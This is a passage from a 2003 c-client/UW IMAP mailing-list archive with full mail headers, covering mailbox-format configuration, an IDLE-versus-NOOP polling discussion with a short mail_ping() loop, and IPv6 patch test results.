to do this, you might want to go read the > documentation to find out why setting EMPTYPROTO to "mbx" is meaningless > and wrong. > > Dave > > -- > Dave Funk University of Iowa > College of Engineering > 319/335-5751 FAX: 319/384-0549 1256 Seamans Center > Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 > #include > Better is not better, 'standard' is better. B{ > > From pinedev@shivax2.cac.washington.edu Wed Dec 10 11:26:17 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Dec 2003 11:26:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAJQGUF030892 for ; Wed, 10 Dec 2003 11:26:16 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAJQElp029465 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 10 Dec 2003 11:26:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBAJP21r013622; Wed, 10 Dec 2003 11:25:02 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAJO5uL038436 for ; Wed, 10 Dec 2003 11:24:05 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAJO4Rg017836 for ; Wed, 10 Dec 2003 11:24:04 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAJNgP3018747; Wed, 10 Dec 2003 11:23:42 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBAJNfmc022620; Wed, 10 Dec 2003 11:23:41 -0800 Message-Id: Date: Wed, 10 Dec 2003 11:23:41 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nick Hodulik Cc: David B Funk , Sebastian Hagedorn , c-client@u.washington.edu Subject: Re: mailbox format problems In-Reply-To: <00d501c3bf4a$85cdad80$6501a8c0@winbitch> References: <00d501c3bf4a$85cdad80$6501a8c0@winbitch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The only thing that you need to do to avoid creating files in traditional UNIX format is to change CREATEPROTO. By setting EMPTYPROTO to mbx, you introduce a bug into imapd. Empty files can not be in mbx format, so what will happen is that you'll get an obscure error message (such as "indeterminate mailbox format"). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 10 17:01:00 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Dec 2003 17:01:00 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBB110UF014291 for ; Wed, 10 Dec 2003 17:01:00 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBB10v72003778 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 10 Dec 2003 17:00:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBB0xjop013432; Wed, 10 Dec 2003 16:59:45 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBB0wMuL028058 for ; Wed, 10 Dec 2003 16:58:22 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBB0wLRg008381 for ; Wed, 10 Dec 2003 16:58:21 -0800 Received: from tokyo.ono-sendai.com (adsl-63-201-53-3.dsl.snfc21.pacbell.net [63.201.53.3]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBB0wHlo010610 for ; Wed, 10 Dec 2003 16:58:18 -0800 Received: from ni-jute.core.ono-sendai.com (unknown [172.30.2.42]) by tokyo.ono-sendai.com (Postfix) with ESMTP id 367B116B46 for ; Wed, 10 Dec 2003 16:58:17 -0800 (PST) Received: (from cyber@localhost) by ni-jute.core.ono-sendai.com (8.11.6/8.11.6) id hBB0wGD20985; Wed, 10 Dec 2003 16:58:16 -0800 (PST) Message-Id: <200312110058.hBB0wGD20985@ni-jute.core.ono-sendai.com> Date: Wed, 10 Dec 2003 16:58:16 -0800 Reply-To: Erik Berls Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Berls To: c-client@CAC.Washington.EDU Subject: Anyone with MH patches? MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <20984.1071104296.1@ono-sendai.com> X-Sender: cyber@ono-sendai.com X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've looked through the mail archives and I've seen support issues for MH folders come up numerous times. I was wondering if anyone had patches that implemented the ability to maintain the read/un-read status of messages. Ideally, I would prefer if this was done via updating the .mh_sequences file, however I'm willing to take any support along this line. (Alternately, if people out there view this as working, please tell me what I need to do to kick Mail.app 1.3 [OS X, Panther] into functioning proper.) Thanks, -=erik. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 11 17:18:27 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Dec 2003 17:18:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBC1IRUF032204 for ; Thu, 11 Dec 2003 17:18:27 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBC1IPlp021947 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 11 Dec 2003 17:18:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBC1H01r015386; Thu, 11 Dec 2003 17:17:01 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBC1FbuL023164 for ; Thu, 11 Dec 2003 17:15:37 -0800 Received: from smtp12.eresmas.com (smtp12.eresmas.com [62.81.235.112]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBC1FZED016651 for ; Thu, 11 Dec 2003 17:15:36 -0800 Received: from [192.168.108.54] (helo=mx04.eresmas.com) by smtp12.eresmas.com with esmtp (Exim 4.10) id 1AUbtw-00051n-00 for c-client@u.washington.edu; Fri, 12 Dec 2003 02:15:28 +0100 Received: from [62.36.22.77] (helo=teleline.es) by mx04.eresmas.com with esmtp (Exim 4.20) id 1AUbtw-0005wG-Is for c-client@u.washington.edu; Fri, 12 Dec 2003 02:15:28 +0100 Message-Id: <3FD911A1.3060200@teleline.es> Date: Fri, 12 Dec 2003 01:53:53 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jose Luis Rodriguez Garcia To: c-client@u.washington.edu Subject: mixing different versions of imap-server and imap-utils MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-es, es, en-us X-Uwash-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, RCVD_IN_NJABL_ORG 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN My SO is RedHatLinux Advanced Server 2.1 It includes UWIMAP release called IMAP-2001a-10.0as I wish to use mbx , but the problem is the next: RedHat distribution doesn't include imap-utils, and therefore tmail, and mbxcvt (I need this one for migrate serveral mailboxes from a SCO). I am thinking in compile imap-utils for the two commands mentioned above (tmail and mbxcvt) My questions: 1 Can I use the actual version imap-utils with my installed IMAP version.? I think that it must be possible, becuase the backwards compatibility of mbx is guaranteed. 2 If it is not possible where can I obtain a version compatible of imap-utils with my IMAP version. Reemplaze the IMAP server with the actual version is not a option for me, because it won't be supported by RedHat. The only strange thing in my configuration is: /etc/c-client.cf I accept the risk set new-folder-format mbx set mail-subdirectory mail set allow-reverse-dns 0 I know that it is discouraged to use c-client.cf, but it is my only option if I want to use the supported version of IMAP that provides RedHat. (I know that the compiled tmail and mbxcvt won't be supported). Regards -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Dec 12 00:25:27 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Dec 2003 00:25:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBC8PPUF010138 for ; Fri, 12 Dec 2003 00:25:25 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBC8POlp031978 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 12 Dec 2003 00:25:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBC8ON1r014846; Fri, 12 Dec 2003 00:24:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBC8NBuL035314 for ; Fri, 12 Dec 2003 00:23:12 -0800 Received: from mail.tma.com.vn (mail.tma.com.vn [203.162.42.195]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBC8N1f0019941 for ; Fri, 12 Dec 2003 00:23:09 -0800 Received: from smail.tma.com.vn (smail.tma.com.vn [192.168.1.9]) by mail.tma.com.vn (8.12.2/8.12.2) with ESMTP id hBC8PbZe005868 for ; Fri, 12 Dec 2003 15:25:37 +0700 Received: from KhoaVo2 ([192.168.97.152]) by smail.tma.com.vn (8.12.2/8.12.2) with SMTP id hBC8H0C8017906 for ; Fri, 12 Dec 2003 15:17:01 +0700 Message-Id: <000701c3c089$50959a20$9861a8c0@KhoaVo2> Date: Fri, 12 Dec 2003 15:24:08 +0700 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Khoa Vo" To: Subject: implement the IDLE command In-Reply-To: <3FD911A1.3060200@teleline.es> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, SIGNATURE_SHORT_DENSE 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I used the c-client library to write new email service (on Outlook2000 Corporate mode), connecting to server using IMAP4 protocol. The synchronization chosen is the disconnected mode: data is retrieved and stored locally, then mail's properties (like flags, priority, read/unread,etc) will be updated whenever any change on the server is detected. I found the c-client library does not support the IDLE command, so I could not get the server inform new changes. The way I did: -New mail checking: using the response of the SELECT command and comparing the uid validity and the number of mails in each folder. -Changes to existing mail, or mails deleted: I can do this by comparing mail-by-mail, folder-by-folder. This is very slow. What I need now is a implementation way that the server informs the client every update to a certain mailbox that the client has access permission. Currently I only know that the IDLE command can do that. If anyone has ever worked on this, please help to tell me? -Is the IDLE command supported in a certain version of c-client library? -If not, has c-client library been extended to support IDLE command by a designer, which is not included to the formal library? Can I use that library? -Is there any way other than using the IDLE command? How to implement that? Any help would be much appreciated. Thanks, Khoa -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Dec 12 02:24:23 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Dec 2003 02:24:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAONUF013674 for ; Fri, 12 Dec 2003 02:24:23 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAOKlp002031 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 12 Dec 2003 02:24:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBCANMop014904; Fri, 12 Dec 2003 02:23:22 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAMAuL038468 for ; Fri, 12 Dec 2003 02:22:10 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAM9gN004737 for ; Fri, 12 Dec 2003 02:22:09 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAM1lo008467; Fri, 12 Dec 2003 02:22:01 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAM0Jj009658; Fri, 12 Dec 2003 02:22:01 -0800 Message-Id: Date: Fri, 12 Dec 2003 02:22:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Khoa Vo Cc: c-client@u.washington.edu Subject: Re: implement the IDLE command In-Reply-To: <000701c3c089$50959a20$9861a8c0@KhoaVo2> References: <000701c3c089$50959a20$9861a8c0@KhoaVo2> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN All IMAP commands will inform you of updates to the selected mailbox. IDLE is simply a way of being informed without doing a command. So, all you need to do in order to stay informed of updates to the mailbox is to do any command. If you do not have any command to do, you can do the NOOP command. The mail_ping() function will do a NOOP. NOOP does nothing, but it is a command, and all IMAP commands return updates. If an application is not otherwise doing anything to the server, it generally executes the mail_ping() function every 1 to 3 minutes. In other words, something like: while (nothing_to_do) { mail_ping (stream); sleep (60); } is very close in function to IDLE. Of course, if the application is doing other IMAP commands, it does not need to do NOOP with mail_ping(). mail_ping() is only needed if the application is not doing anything. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Dec 12 02:37:31 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Dec 2003 02:37:31 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAbVUF014022 for ; Fri, 12 Dec 2003 02:37:31 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAbT72027715 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 12 Dec 2003 02:37:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBCAZtAk016504; Fri, 12 Dec 2003 02:35:55 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAZ8uL035258 for ; Fri, 12 Dec 2003 02:35:08 -0800 Received: from mail.tma.com.vn (mail.tma.com.vn [203.162.42.195]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCAZ1ED017052 for ; Fri, 12 Dec 2003 02:35:06 -0800 Received: from smail.tma.com.vn (smail.tma.com.vn [192.168.1.9]) by mail.tma.com.vn (8.12.2/8.12.2) with ESMTP id hBCAbVZe008530; Fri, 12 Dec 2003 17:37:31 +0700 Received: from KhoaVo2 ([192.168.97.152]) by smail.tma.com.vn (8.12.2/8.12.2) with SMTP id hBCASoC8029380; Fri, 12 Dec 2003 17:28:55 +0700 Message-Id: <000901c3c09b$bb465b40$9861a8c0@KhoaVo2> Date: Fri, 12 Dec 2003 17:35:58 +0700 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Khoa Vo" To: "'Mark Crispin'" Cc: Subject: RE: implement the IDLE command In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, My purpose is to have the server inform me only new changes. For example, in my mail box on server there is one new mail just arrived, and three among 1000 email have changed status to 'read'. Using the IDLE command, and keep the connection alive, the server will inform any change to that mailbox using the current connection. I don't want to scan folder-by-folder, mail-by-mail to detect changes made to mail items on the server, and update to the mail items on client machine. Is there any way to do that? Regards, Khoa -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Mark Crispin Sent: Friday, December 12, 2003 5:22 PM To: Khoa Vo Cc: c-client@u.washington.edu Subject: Re: implement the IDLE command All IMAP commands will inform you of updates to the selected mailbox. IDLE is simply a way of being informed without doing a command. So, all you need to do in order to stay informed of updates to the mailbox is to do any command. If you do not have any command to do, you can do the NOOP command. The mail_ping() function will do a NOOP. NOOP does nothing, but it is a command, and all IMAP commands return updates. If an application is not otherwise doing anything to the server, it generally executes the mail_ping() function every 1 to 3 minutes. In other words, something like: while (nothing_to_do) { mail_ping (stream); sleep (60); } is very close in function to IDLE. Of course, if the application is doing other IMAP commands, it does not need to do NOOP with mail_ping(). mail_ping() is only needed if the application is not doing anything. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Dec 12 11:24:29 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Dec 2003 11:24:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCJOTUF032093 for ; Fri, 12 Dec 2003 11:24:29 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCJOR72010113 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 12 Dec 2003 11:24:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBCJN8Fe012932; Fri, 12 Dec 2003 11:23:08 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCJM8uL034302 for ; Fri, 12 Dec 2003 11:22:08 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCJM7Rg032695 for ; Fri, 12 Dec 2003 11:22:07 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCJLwK4005985; Fri, 12 Dec 2003 11:21:58 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCJLwXV000753; Fri, 12 Dec 2003 11:21:58 -0800 Message-Id: Date: Fri, 12 Dec 2003 11:21:58 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Khoa Vo Cc: c-client@u.washington.edu Subject: RE: implement the IDLE command In-Reply-To: <000901c3c09b$bb465b40$9861a8c0@KhoaVo2> References: <000901c3c09b$bb465b40$9861a8c0@KhoaVo2> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 12 Dec 2003, Khoa Vo wrote: > My purpose is to have the server inform me only new changes. For example, in > my mail box on server there is one new mail just arrived, and three among > 1000 email have changed status to 'read'. Using the IDLE command, and keep > the connection alive, the server will inform any change to that mailbox > using the current connection. The procedure which I outlined, in which you do a NOOP every so often, is functionally identical to IDLE. IDLE does not do anything different. It just saves you from having to send a NOOP every so often. Instead of sending a NOOP every 2 minutes, you send an IDLE every 29 minutes. > I don't want to scan folder-by-folder, mail-by-mail to detect changes made > to mail items on the server, and update to the mail items on client machine. Even with IDLE, you are never informed about changes to a mailbox that is not SELECTED. So I do not understand your "scan folder-by-folder" argument. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Dec 12 14:40:49 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Dec 2003 14:40:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCMenUF008254 for ; Fri, 12 Dec 2003 14:40:49 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCMel72017191 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 12 Dec 2003 14:40:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBCMcx1r013478; Fri, 12 Dec 2003 14:38:59 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCMbruL031934 for ; Fri, 12 Dec 2003 14:37:53 -0800 Received: from gau.lava.net (gau.lava.net [64.65.64.28]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBCMblbc012477 for ; Fri, 12 Dec 2003 14:37:53 -0800 Received: from kulolo.lava.net (kulolo.lava.net [64.65.64.15]) by gau.lava.net (Postfix) with ESMTP id 6150917C05 for ; Fri, 12 Dec 2003 12:37:37 -1000 (HST) Message-Id: <20031212121708.U27534@kulolo.lava.net> Date: Fri, 12 Dec 2003 12:37:37 -1000 (HST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antonio Querubin To: c-client@u.washington.edu Subject: Re: IPv6 fixes for tcp_unix.c In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Dec 2003, Antonio Querubin wrote: > This should basically make pine and imapd completely IPv6 capable. The > patch has been tested with the FreeBSD ports of imapd, c-client, and pine. I've done some more testing with other OS. Here are some additional data points for reference. OS/version imapd/version pine (4.58) ----------- ------------- ----------- FreeBSD 4.6 not tested ok FreeBSD 4.9 ok (2002d) ok FreeBSD 5.1 ok (2002d) ok Redhat 8.0 not tested ok Redhat 9.0 not tested ok Fedora 1 ok (2002e) ok OpenBSD 3.2 not tested ok BSDI 4.3 not tested ok From pinedev@shivax2.cac.washington.edu Sun Dec 14 19:17:42 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Dec 2003 19:17:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF3HgUF029871 for ; Sun, 14 Dec 2003 19:17:42 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF3Help032615 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 14 Dec 2003 19:17:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBF3G4op015676; Sun, 14 Dec 2003 19:16:04 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF3ERuL034970 for ; Sun, 14 Dec 2003 19:14:28 -0800 Received: from mail.tma.com.vn (mail.tma.com.vn [203.162.42.195]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF3EODv002067 for ; Sun, 14 Dec 2003 19:14:25 -0800 Received: from smail.tma.com.vn (smail.tma.com.vn [192.168.1.9]) by mail.tma.com.vn (8.12.2/8.12.2) with ESMTP id hBF3G5Ze003433; Mon, 15 Dec 2003 10:16:05 +0700 Received: from KhoaVo2 ([192.168.97.152]) by smail.tma.com.vn (8.12.2/8.12.2) with SMTP id hBF383C8027049; Mon, 15 Dec 2003 10:08:04 +0700 Message-Id: <002601c3c2b9$a9063340$9861a8c0@KhoaVo2> Date: Mon, 15 Dec 2003 10:15:14 +0700 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Khoa Vo" To: "'Mark Crispin'" Cc: Subject: RE: implement the IDLE command In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=XI, 